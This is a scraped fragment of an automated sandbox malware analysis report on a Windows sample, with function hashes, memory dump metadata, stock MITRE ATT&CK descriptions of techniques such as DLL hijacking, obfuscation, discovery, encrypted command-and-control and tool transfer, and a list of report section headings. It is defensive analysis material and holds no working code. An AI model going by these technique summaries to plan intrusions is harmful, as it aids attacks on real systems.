Instruction Fuzzy Hash: A241036D6444A18B5B8077ECD40292F2A53DBB670935BCC33A010CFA54CB2A9C8C9A6F

Uniqueness

Uniqueness Score: -1.00%

Function 02955183 Relevance: 6.6, Strings: 5, Instructions: 389COMMON

Download Yara Rule

Strings

@@@@, xrefs: 02955474
@@@L, xrefs: 0295543C
@@@|, xrefs: 029551C8
@@@L, xrefs: 029552E0
@@@4, xrefs: 029553C8

Memory Dump Source

Source File: 00000000.00000003.357408880.0000000002948000.00000004.00001000.00020000.00000000.sdmp, Offset: 02948000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2948000_vOj00hEkoQ.jbxd

Similarity

API ID:
String ID: @@@4$@@@@$@@@L$@@@L$@@@|
API String ID: 0-3178332035
Opcode ID: 2df733a084a3d74d98479bfadc887ab4da4de1e3fa05a7bdf1939ec0f47618cd
Instruction ID: 800fff3612adab6ebe38a15b8fb8a8bcfe53e78d8c29864cc23bba3334c26aef
Opcode Fuzzy Hash: 2df733a084a3d74d98479bfadc887ab4da4de1e3fa05a7bdf1939ec0f47618cd
Instruction Fuzzy Hash: 68A195B2C9C3D09FE382DA248A58B967B94EF12224F1690DDC5A54F0B3D7ADD846CB41

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net . Adversaries may also use local host files (ex: `C:\Windows\System32\Drivers\etc\hosts` or `/etc/hosts` ) in order to discover the hostname to IP address mappings of remote systems.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report vOj00hEkoQ

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Windows Analysis Report
vOj00hEkoQ